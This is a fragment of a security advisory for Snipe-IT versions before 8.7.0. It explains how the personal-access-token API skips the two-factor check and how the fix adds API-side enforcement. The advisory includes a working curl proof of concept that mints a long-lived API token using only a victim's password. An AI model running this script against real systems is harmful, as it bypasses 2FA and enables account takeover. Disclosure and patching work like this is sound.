      "value": "Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account\u0027s second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim\u0027s permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator\u0027s enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator\u0027s web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0."

  "details": "### Impact\n\nAn attacker who knows a victim\u0027s password fully bypasses that account\u0027s 2FA and obtains a persistent token with full API access as the user (read and write across the user\u0027s permissions, including admin if the victim is an admin).\n\nThe token is an API credential, not a web/UI session (using it on web routes redirects to `/login`), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin `users/two_factor_reset` endpoint, which is in the same un-gated API surface, to clear the account\u0027s enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account\u0027s web access and locking the legitimate user out.\n\n### Summary:\n\n2FA is enforced only by the `web` middleware group, not the `api` group, and the personal-access-token endpoint is in the `api` group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access. \n\n\n### Details:\n\n`CheckForTwoFactor` is in the `web` group but not the `api` group:\n\n    // app/Http/Kernel.php\n    \u0027web\u0027 =\u003e [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],\n    \u0027api\u0027 =\u003e [ \u0027auth:api\u0027, EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor\n\nTwo consequences:\n\n1. `/two-factor` is exempt from the check, and `CreateFreshApiToken` runs right after it in the web group:\n\n    // app/Http/Middleware/CheckForTwoFactor.php\n    public const IGNORE_ROUTES = [\u0027two-factor\u0027, \u0027two-factor-enroll\u0027, \u0027setup\u0027, \u0027logout\u0027];\n\nSo a password-authenticated session that lands on `/two-factor` (before entering a code) is let through and gets issued the Passport `snipeit_passport_token` cookie.\n\n2. The token endpoint is in the `api` group, which never checks 2FA, gated only by `self.api`:\n\n    // routes/api.php -\u003e Api\\ProfileController::createApiToken (line 98)\n    if (! Gate::allows(\u0027self.api\u0027)) { ... }   // the only gate; no 2FA check\n\nLogin authenticates on the password alone (`LoginController::login` calls `Auth::login`). 2FA is enforced only by `web` middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via `/two-factor`, and can call the token endpoint over the `api` group. The token is long-lived (40-year expiry by default) and grants full API access as the user.\n\n\n### Proof of concept:\n\nSetup: an account with 2FA enabled and the `self.api` permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.\n\n    HOST=https://snipeit.example.com/\n    USER=victim\n    PASS=\u0027victim-password\u0027\n\n    # 1. log in with the password only. Every web page now redirects to\n    #    /two-factor until a code is entered. never enter one.\n    csrf=$(curl -s -c cookies.txt \"$HOST/login\" \\\n           | grep -oP \u0027name=\"_token\" value=\"\\K[^\"]+\u0027)\n    curl -s -b cookies.txt -c cookies.txt \"$HOST/login\" \\\n         --data-urlencode \"_token=$csrf\" \\\n         --data-urlencode \"username=$USER\" \\\n         --data-urlencode \"password=$PASS\" -o /dev/null\n\n    # 2. GET /two-factor with no code. It is exempt from the 2FA check, so\n    #    CreateFreshApiToken issues the snipeit_passport_token cookie.\n    curl -s -b cookies.txt -c cookies.txt \"$HOST/two-factor\" -o /dev/null\n    grep -q snipeit_passport_token cookies.txt \u0026\u0026 echo \"[2] Passport cookie issued, no code\"\n\n    # 3. mint a persistent token over the api group (no 2FA check). Passport\u0027s\n    #    cookie guard wants the session\u0027s own XSRF token echoed as a header,\n    #    which our session already holds.\n    xsrf=$(awk \u0027/XSRF-TOKEN/{print $7}\u0027 cookies.txt | tail -1)\n    xsrf=$(printf \u0027%b\u0027 \"${xsrf//%/\\\\x}\")\n    pat=$(curl -s -b cookies.txt \"$HOST/api/v1/account/personal-access-tokens\" \\\n          -X POST -H \"Accept: application/json\" -H \"X-XSRF-TOKEN: $xsrf\" \\\n          --data-urlencode \"name=poc\" | jq -r \u0027.payload.token\u0027)\n    echo \"[3] token: $pat\"\n\n    # 4. use the Bearer token against a real endpoint. /users/me returns the\n    #    victim\u0027s own account, proving the token acts as the victim with 2FA\n    #    never completed. (If the victim is an admin, the same token reaches the\n    #    whole API, e.g. GET /api/v1/users returns the full user directory.)\n    curl -s \"$HOST/api/v1/users/me\" \\\n         -H \"Authorization: Bearer $pat\" -H \"Accept: application/json\"\n\nStep 3 returns a token with no code ever submitted, and step 4 returns the victim\u0027s own account (`{\"id\":1,\"username\":\"victim\",\"email\":...}`). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the `api` group simply never enforces it.\n\n## Patches\n\nFixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, `EnforceApiTwoFactorEnrollment`, registered on the `api` middleware group after `auth:api`. The new middleware answers the question \"does this token\u0027s owner have a second factor enrolled at all?\", which is orthogonal to the session-scoped `2fa_authed` flag that `CheckForTwoFactor` relies on. Behavior:\n\n- Passes through when there\u0027s no authenticated user (leaves the standard `auth:api` 401 in place).\n- Passes through when `two_factor_enabled` is disabled in settings.\n- Under optional mode (`two_factor_enabled = \u00271\u0027`), only enforces on users who explicitly set `two_factor_optin = \u00271\u0027`, matching the web-side behavior and preserving legacy PATs for users who never opted in.\n- Under required mode (`two_factor_enabled = \u00272\u0027`), enforces regardless of optin.\n- Blocks with 403 + `Helper::formatStandardApiResponse(\u0027error\u0027, null, trans(\u0027auth/message.two_factor.please_enroll\u0027))` when the token owner\u0027s `two_factor_enrolled != \u00271\u0027`.\n\nRegression coverage lives in `tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php`.\n\n### Credit\n\nReported first by [colinthebomb1](https://github.com/colinthebomb1) and [Theebanbabu](https://github.com/Theebanbabu), followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).",
